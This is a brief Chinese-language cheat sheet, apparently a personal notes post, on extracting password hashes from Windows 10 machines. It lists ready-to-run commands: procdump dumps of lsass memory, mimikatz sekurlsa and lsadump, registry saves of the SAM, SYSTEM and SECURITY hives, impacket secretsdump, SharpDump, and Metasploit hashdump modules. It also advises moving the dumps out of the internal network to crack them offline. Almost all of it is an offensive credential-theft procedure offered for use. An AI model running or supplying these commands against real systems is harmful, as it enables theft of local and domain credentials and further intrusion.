常用 Windows 抓取Hash

推荐使用 Procdump，reg 和 sharpdump 导出本地，再想办法从内网中运出来本地破解

测试机器: Windows 10 1809

0x01 Procdump + Mimikatz

Procdump

(管理员权限下运行)

C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits

然后本地解出hash即可

sekurlsa::minidump C:\lsass.dmp
sekurlsa::logonpasswords full

0x02 Reg + impacket/Mimikatz (强推)

使用 Reg 需要NT/SYSTEM权限

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save HKLM\security security.hiv

Mimikatz 调用 lsadump

lsadump::sam /system:system.hiv /sam:sam.hiv

impacket/secretsdump.py

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

0x03 Sharpdump (强推)

Out-Minidump.ps1 的 C#版本 编译结果

需要.NET 3.5版本框架

0x04 Wce、Quarks PwDump、GetPass……

没怎么用过，都是以前比较老的，Getpass是Mimikatz的编译版本，没啥意思

0x05 Msf modules

hashdump

条件:

1. Meterpreter Session
2. NT/SYSTEM

hashdump只能dump本地用户

smart_hashdump

条件

1. Meterpreter Session
2. NT/SYSTEM

可以dump本地 + 域用户hash